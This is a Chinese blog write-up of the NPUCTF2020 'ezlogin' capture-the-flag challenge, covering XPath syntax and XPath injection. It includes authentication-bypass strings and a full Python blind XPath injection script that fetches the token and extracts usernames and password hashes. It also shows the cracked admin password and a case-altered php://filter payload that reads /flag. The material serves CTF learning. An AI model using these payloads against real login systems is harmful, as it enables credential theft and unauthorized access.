[NPUCTF2020]ezlogin (xpath盲注)

目录

前提知识

xpath基本语法

xpath注入基础

[NPUCTF2020]ezlogin

信息收集

Xpath盲注


前提知识

xpath基本语法

表达式           描述

nodename    选取此节点的所有子节点。

/                    从根节点选取。

//                    从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。

 .                     选取当前节点。

..                    选取当前节点的父节点。

@                   选取属性。

路径表达式     结果

bookstore       选取 bookstore 元素的所有子节点。

/bookstore    选取根元素 bookstore。

注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!

bookstore/book    选取属于 bookstore 的子元素的所有 book 元素。

//book    选取所有 book 子元素,而不管它们在文档中的位置。

bookstore//book    选择属于 bookstore 元素的后代的所有 book 元素

//@lang    选取名为 lang 的所有属性。

通配符                 描述

*                           匹配任何元素节点。

@*                       匹配任何属性节点。

node()                  匹配任何类型的节点。

没有注释,不能像sql一样,用注释杀掉后面语句

xpath注入基础

见上篇文章

浅谈Xpath注入漏洞_coleak的博客-CSDN博客

' or 1=1 or ''='

']|//*|//*['

 

//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']

[NPUCTF2020]ezlogin

信息收集

main.js

 var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>"; 
    $.ajax({
        type: "POST",
        url: "login.php",
        contentType: "application/xml",
        data: data,
        anysc: false,
        success: function (result, status, xhr) {
          if(result == '成功'){
            window.location.href = 'admin.php';  
          }
          $(".msg").text(result);
          
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 

直接访问admin.php被重定向到index.php

提交后抓包看看

X-Requested-With: XMLHttpRequest

Content-Type: application/xml

这里看到XML自然联想到XXE和Xpath,再一看应该是xpath

Xpath盲注

尝试万能密码,非法操作

判断节点数测试

'or count(/)=2  or ''='     ###根节点数量为2
'or count(/)=1  or ''='     ###根节点数量为1

正确的时候返回非法操作,错误时显示用户名或密码错误,典型的盲注特征

抓包看看提交的内容编写payload

<username>'or substring(name(/*[1]), {X}, 1)='{Y}'  or ''='</username><password>1</password><token>{token}</token>    //这个playload会返回第一个节点的名称

 在<username>里面的{X}中的X是一个变量,它指的是查询的元素X个字符,Y也是一个变量,是指我们猜测的字符,如果X=Y那么就会返回true,对应的我们的题目就会返回“非法操作!”

要注意的是,因为页面会不断的刷新,这个token的值也会一直变化,所以我们要保证每次请求数据都要拿到最新的token,name函数返回的是这个节点的元素名称。

去前端拿到token,生成正则

find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)

盲注当然要用py脚本

import requests
import re
import time

session = requests.session()
url = "http://d892dbc8-6dca-4922-b353-a9322a234bc0.node4.buuoj.cn:81/"
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
head = {
    'Content-Type': 'application/xml',
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
        }
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"

def get_token():     #获取token的函数
    resp = session.get(url=url)  #如果在这里用headers会得到超时的界面
    token = find.findall(resp.text)[0]
    #print(token)
    return token

for x in range(1,100):
    for char in chars:
        time.sleep(0.2)
        token = get_token()
        playload = payload_password.format(x, char, token)   #根据上面的playload来改
        #print(playload)
        resp = session.post(url=url,headers=head, data=playload)
        #print(resp.text)
        if "非法操作" in resp.text:
            result += char
            print(result)
            break
    if "用户名或密码错误" in resp.text:
        break

print(result)

这里时间睡眠需要在0.2或者以上,否则会获取不到token而报错哦;

chars可以根据情况调整优先位置可以更快的跑出来

跑出来大概是这样

<root>
      <accounts>
            <user>
                  <id></id>
                  <username>guster</username>
                  <password>e10adc3949ba59abbe56e057f20f883e</password>
            </user>
            <user>
                  <id></id>
                  <username>adm1n</username>
                  <password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
            </user>
      </accounts>
</root>

MD解密cf7414b5bdb2e65ee43083f4ddbc4d9f得到gtfly123

MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊

登录

Welcome!

ZmxhZyBpcyBpbiAvZmxhZwo=

flag is in /flag

/admin.php?file=/flag
?file=file:///flag

用伪协议

php://filter/convert.base64-encode/resource=/flag

依然被拦截

?file=PHP://filter/convert.Base64-Encode/resource=/flag

查看源码获得字符串,base64解密获得flag

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值